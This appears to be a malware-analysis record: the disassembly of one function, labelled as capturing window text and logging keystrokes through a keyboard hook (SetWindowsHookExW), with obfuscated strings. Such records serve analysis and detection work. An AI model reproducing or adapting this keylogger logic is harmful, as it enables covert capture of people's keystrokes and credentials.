Function at 0x4651b0
Capabilities:
Get graphical window text
Log keystrokes via application hook

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57947d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xa98
push esi
push edi
mov dword [ebp - 0x1c], ecx
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x4656a4
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x2c], eax
push str.amdsaTs
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0
call fcn.0042cad0
test al, al
jne 0x46522a
push 8
push str.amdsaTs
lea ecx, [ebp - 0x2c]
call fcn.0042cdf0
mov dword [ebp - 4], 1
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x4656ae
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push str.a2Nsc11xY19wYWY
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 2
call fcn.0042cad0
test al, al
jne 0x465271
push 0x10
push str.a2Nsc11xY19wYWY
lea ecx, [ebp - 0x28]
call fcn.0042cdf0
mov byte [ebp - 4], 3
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x4656b8
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x24], eax
push str.bW5jbF1qZ2xp
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 4
call fcn.0042cad0
test al, al
jne 0x4652b5
push 0xc
push str.bW5jbF1qZ2xp
lea ecx, [ebp - 0x24]
call fcn.0042cdf0
xorps xmm0, xmm0
mov byte [ebp - 4], 5
push 0x60
movups xmmword [ebp - 0x74], xmm0
call fcn.00547402
mov ecx, 0x17
mov dword [ebp - 0x74], eax
mov esi, str.eSBfbm4gOHkga2Nsc11xY19wYWYgOHkgcm1uIDgjYiogamNkciA4I2IqIGBtcnJtayA4I2IqIHBnZWZyIDgjYnt7ew
mov dword [ebp - 0x64], 0x5c
mov edi, eax
mov dword [ebp - 0x60], 0x5f
rep movsd dword es:[edi], dword [esi]
add esp, 4
mov byte [eax + 0x5c], 0
push 0
push 0
push 0x464f20
push 0xd
mov byte [ebp - 4], 6
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [ebp - 0x5c], eax
call fcn.004656d0
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x20], 0
mov edi, dword [esi + 4]
test edi, edi
je 0x4653a4
push 0x100
lea eax, [ebp - 0x2a8]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [esi + 8]
lea edx, [ebp - 0x14]
push edx
push edi
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
test eax, eax
jne 0x4653a4
mov edx, dword [esi + 8]
mov eax, 3
mov word [ebp - 0x50], ax
mov dword [ebp - 0x48], 0xc354
movups xmm0, xmmword [ebp - 0x50]
mov eax, dword [edx]
mov ecx, dword [eax + 0x5c]
lea eax, [ebp - 0x18]
push eax
sub esp, 0x10
mov eax, esp
push 0x7533
push edx
movups xmmword [eax], xmm0
call ecx
test eax, eax
jne 0x46539b
mov ecx, dword [ebp - 0x14]
lea edx, [ebp - 0x20]
push edx
push dword [ebp - 0x18]
mov eax, dword [ecx]
push 2
push ecx
call dword [eax + 0x14]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea eax, [ebp - 0x3c]
push eax
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetWindowRect]
call fcn.0044a480
movaps xmm1, xmm0
lea ecx, [ebp - 0x3c]
call fcn.0044a5c0
lea edx, [ebp - 0x74]
lea ecx, [ebp - 0x58]
call fcn.00442920
cmp dword [eax + 0x14], 0x10
jb 0x4653d4
mov eax, dword [eax]
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push dword [ebp - 0x3c]
push dword [ebp - 0x38]
push eax
lea eax, [ebp - 0xaa8]
push eax
call fcn.00452f00
mov ecx, dword [ebp - 0x44]
add esp, 0x18
cmp ecx, 0x10
jb 0x465424
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46541a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4656c2
push ecx
push edx
call fcn.005472f1
add esp, 8
mov esi, dword [esi]
lea eax, [ebp - 0xaa8]
push eax
lea ecx, [ebp - 0x14]
call fcn.0042bd10
mov byte [ebp - 4], 7
mov edi, dword [esi + 0x4c]
push 0x20
push ecx
mov esi, esp
mov dword [ebp - 0x18], esi
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045cba0
mov byte [ebp - 4], 6
or edi, 0xffffffff
mov edx, dword [ebp - 0x14]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x46547c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x1c]
mov eax, dword [esi]
cmp byte [eax + 0x109], 0
jne 0x4655fb
nop
lea eax, [ebp - 0x50]
push eax
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetWindowRect]
call fcn.0044a480
movaps xmm1, xmm0
lea ecx, [ebp - 0x50]
call fcn.0044a5c0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x3c]
jne 0x4654d1
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x38]
jne 0x4654d1
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x34]
jne 0x4654d1
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x30]
je 0x46559d
movups xmm0, xmmword [ebp - 0x50]
lea edx, [ebp - 0x74]
lea ecx, [ebp - 0x8c]
movups xmmword [ebp - 0x3c], xmm0
call fcn.00442920
cmp dword [eax + 0x14], 0x10
jb 0x4654ef
mov eax, dword [eax]
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push dword [ebp - 0x3c]
push dword [ebp - 0x38]
push eax
lea eax, [ebp - 0xaa8]
push eax
call fcn.00452f00
mov ecx, dword [ebp - 0x78]
add esp, 0x18
cmp ecx, 0x10
jb 0x465542
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x465538
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4656c2
push ecx
push edx
call fcn.005472f1
add esp, 8
mov esi, dword [esi]
lea eax, [ebp - 0xaa8]
push eax
lea ecx, [ebp - 0x14]
call fcn.0042bd10
mov byte [ebp - 4], 8
mov edi, dword [esi + 0x4c]
push 0x20
push ecx
mov esi, esp
mov dword [ebp - 0x18], esi
mov ecx, dword [ebp - 0x14]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045cba0
mov byte [ebp - 4], 6
or edi, 0xffffffff
mov edx, dword [ebp - 0x14]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x46559a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x1c]
push dword [ebp - 0x20]
mov ecx, esi
call fcn.00465840
push 1
push 0
push 0
push 0
lea eax, [ebp - 0xa8]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jle 0x4655da
lea eax, [ebp - 0xa8]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0xa8]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
call fcn.004656d0
cmp dword [esi + 4], eax
jne 0x4655fb
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi]
cmp byte [eax + 0x109], 0
je 0x465490
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x465608
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
push dword [ebp - 0x5c]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, dword [ebp - 0x60]
cmp ecx, 0x10
jb 0x465645
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46563b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4656c7
push ecx
push edx
call fcn.005472f1
add esp, 8
mov edx, dword [ebp - 0x24]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x46565f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x465679
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x465691
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
call fcn.0054c30f
call fcn.0054c30f
int3